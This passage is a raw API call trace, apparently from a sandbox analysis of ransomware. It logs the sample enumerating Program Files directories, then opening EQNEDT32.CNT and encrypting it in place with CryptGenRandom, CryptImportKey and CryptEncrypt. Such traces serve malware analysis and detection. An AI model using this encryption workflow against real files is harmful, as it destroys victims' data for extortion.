ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Admin", cAlternateFileName="")) returned 0 [0162.344] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc3c8 | out: hHeap=0x990000) returned 1 [0162.344] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe52cd240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe52cd240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x32) returned 0x9b65a8 [0162.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe52cd240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe52cd240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b65a8 | out: hHeap=0x990000) returned 1 [0162.344] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe52cd240, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe52cd240, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0162.344] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdeb676a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeb676a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x234) returned 0x9dc3c8 [0162.344] GetProcessHeap () returned 0x990000 [0162.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x4c) returned 0x9b5500 [0162.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdeb676a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeb676a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0162.345] GetProcessHeap () returned 0x990000 [0162.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0162.345] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdeb676a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdeb676a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.345] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0162.345] GetProcessHeap () returned 0x990000 [0162.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x24e) returned 0x9dc608 [0162.345] GetProcessHeap () returned 0x990000 [0162.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x5e) returned 0x9b0b70 [0162.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0162.345] GetProcessHeap () returned 0x990000 [0162.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0b70 | out: hHeap=0x990000) returned 1 [0162.345] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.345] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0162.345] GetProcessHeap () returned 0x990000 [0162.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x260) returned 0x9dc860 [0162.346] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0162.346] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0162.346] GetProcessHeap () returned 0x990000 [0162.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0162.346] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb374cbe0, ftCreationTime.dwHighDateTime=0x1d5c23c, ftLastAccessTime.dwLowDateTime=0xcf2dae50, ftLastAccessTime.dwHighDateTime=0x1d5c4e5, ftLastWriteTime.dwLowDateTime=0xcf2dae50, ftLastWriteTime.dwHighDateTime=0x1d5c4e5, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0162.346] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0162.346] GetProcessHeap () returned 0x990000 [0162.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x6e) returned 0x9b2468 [0162.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0162.346] GetProcessHeap () returned 0x990000 [0162.346] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0162.346] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.346] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW", cAlternateFileName="")) returned 1 [0162.346] GetProcessHeap () returned 0x990000 [0162.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x270) returned 0x9dc860 [0162.346] GetProcessHeap () returned 0x990000 [0162.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x74) returned 0x9a9d68 [0162.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0162.348] GetProcessHeap () returned 0x990000 [0162.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0162.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0162.348] GetProcessHeap () returned 0x990000 [0162.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x276) returned 0x9e1cd0 [0162.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0162.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0162.348] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0162.348] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0162.348] GetProcessHeap () returned 0x990000 [0162.348] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e1cd0 | out: hHeap=0x990000) returned 1 [0162.348] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0162.348] GetProcessHeap () returned 0x990000 [0162.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b2468 [0162.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0162.349] GetProcessHeap () returned 0x990000 [0162.349] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0162.349] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.349] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0162.349] GetProcessHeap () returned 0x990000 [0162.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9e1cd0 [0162.349] GetProcessHeap () returned 0x990000 [0162.349] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8a) returned 0x9b2468 [0162.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0162.350] GetProcessHeap () returned 0x990000 [0162.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0162.351] GetProcessHeap () returned 0x990000 [0162.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28c) returned 0x9b78c0 [0162.351] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0162.351] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0162.351] GetProcessHeap () returned 0x990000 [0162.351] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0162.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.358] GetProcessHeap () returned 0x990000 [0162.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.358] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.358] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0162.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.361] GetProcessHeap () returned 0x990000 [0162.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.361] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.361] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.361] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.361] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.361] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.361] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.361] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.361] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.362] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9fd, lpOverlapped=0x0) returned 1 [0162.362] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00, dwBufLen=0xa00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa00) returned 1 [0162.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.362] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa00, lpOverlapped=0x0) returned 1 [0162.362] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xad4, 